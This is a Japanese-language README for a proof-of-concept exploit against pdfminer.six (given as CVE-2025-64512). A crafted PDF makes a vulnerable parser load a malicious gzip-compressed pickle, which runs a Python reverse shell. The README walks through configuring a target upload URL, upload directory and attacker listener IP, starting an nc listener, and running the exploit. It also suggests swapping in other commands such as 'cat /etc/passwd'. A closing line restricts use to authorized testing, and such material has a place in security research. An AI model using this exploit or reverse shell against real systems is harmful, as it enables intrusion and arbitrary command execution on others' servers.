
CVE-2025-64512 のエクスプロイトでリバースシェルを取得します。
このプルーフ・オブ・コンセプトは、pdfminer.six(CVE-2025-64512)の脆弱性を実証するもので、悪意のあるPDFが処理されると任意のコマンド実行につながる可能性があります。このエクスプロイトは、悪意のあるgzip圧縮されたPython pickleを参照する細工されたPDFを使用します。脆弱なアプリケーションがPDFを解析すると、pickleを読み込み、埋め込まれたペイロードを実行します。
同梱のPoCはPythonリバースシェルを実行するように構成されていますが、ペイロードは任意のコマンドに置き換えることができます。
requests必要な依存関係をインストールします:
pip install requests
エクスプロイトを実行する前に、exploit.py の設定セクションを編集します:
BASE_URL = ""
UPLOAD_DIR = ""
LHOST = ""
LPORT = 4444
脆弱なアップロードエンドポイントのURL。
例:
BASE_URL = "http://target/upload.php"
このエクスプロイトは、悪意のあるPDFと圧縮されたpickleの両方をこのエンドポイントにアップロードします。
アップロードされたファイルが保存されるターゲット上の絶対ディレクトリ。
例:
UPLOAD_DIR = "/var/www/html/uploads"
このパスは生成されたPDF内に埋め込まれ、脆弱なアプリケーションが後でアップロードされたpickleを読み取る場所と一致している必要があります。
アップロードディレクトリが不明な場合は、列挙中に特定してください。アプリケーションによって異なりますが、有用な手法は次のとおりです:
一般的な場所は次のとおりです:
/var/www/html/uploads
/var/www/uploads
/srv/www/uploads
/opt/application/uploads
正しいディレクトリは、ターゲットアプリケーションに完全に依存します。
リスナー(待ち受け)のIPアドレス。
例:
LHOST = "10.10.14.5"
リバースシェルのリスニングポート。
例:
LPORT = 4444
エクスプロイトを実行する前にリスナーを起動します:
nc -lvnp 4444
エクスプロイトを実行します:
python3 exploit.py
スクリプトは次のことを行います:
evil.pickle.gz に圧縮する。リバースシェルの代わりに、次のコマンドに渡すコマンドを変更することで、任意のオペレーティングシステムコマンドを実行できます:
create_pickle_with_cmd(command)
例は次のとおりです:
id
whoami
uname -a
cat /etc/passwd
このプルーフ・オブ・コンセプトは、教育目的、セキュリティ研究、および許可されたペネトレーションテストのためだけに提供されます。セキュリティテストを実行する明示的な許可があるシステムに対してのみ使用してください。